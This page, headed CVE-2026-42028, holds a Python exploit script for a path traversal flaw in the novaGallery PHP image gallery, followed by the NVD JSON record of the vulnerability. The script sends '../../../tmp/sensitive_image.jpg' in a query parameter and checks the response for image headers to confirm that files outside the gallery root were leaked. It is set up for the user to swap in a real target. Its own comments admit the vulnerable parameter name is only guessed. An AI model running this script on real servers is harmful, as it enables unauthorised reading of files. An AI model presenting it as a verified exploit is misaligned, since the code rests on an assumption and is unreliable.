CVE-2026-42028

import requests def exploit(target_url): # The vulnerable parameter might vary, assuming 'file' or 'image' based on description # Payload attempts to traverse out of the web root traversal_payload = "../../../tmp/sensitive_image.jpg" # Construct the full URL # Example: http://target.com/novagallery/index.php?file=../../../tmp/sensitive_image.jpg attack_url = f"{target_url}/index.php?file={traversal_payload}" try: response = requests.get(attack_url, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Checking if file content was leaked...") # Check for image header or specific content to verify success if b"JFIF" in response.content or b"PNG" in response.content: print("[!] Vulnerability Confirmed: Image file read successfully.") print(f"[+] Content Length: {len(response.content)} bytes") else: print("[-] Response received, but content does not look like an image.") else: print(f"[-] Exploit failed. HTTP Status Code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {str(e)}") if __name__ == "__main__": target = "http://127.0.0.1/novagallery" # Replace with actual target exploit(target)

{"cve": {"id": "CVE-2026-42028", "sourceIdentifier": "[email protected]", "published": "2026-05-08T17:16:31.177", "lastModified": "2026-05-08T18:16:33.827", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "novaGallery is a php image gallery. Prior to version 2.1.1, a path traversal vulnerability has been identified in novaGallery. This allows unauthenticated users to read image files outside the intended gallery root directory. This issue has been patched in version 2.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/novafacile/novagallery/commit/46fe7b0f79f429e18c8cff3f92360c4513732ba6", "source": "[email protected]"}, {"url": "https://github.com/novafacile/novagallery/releases/tag/v2.1.1", "source": "[email protected]"}, {"url": "https://github.com/novafacile/novagallery/security/advisories/GHSA-wv5j-98c7-frm9", "source": "[email protected]"}, {"url": "https://github.com/novafacile/novagallery/security/advisories/GHSA-wv5j-98c7-frm9", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}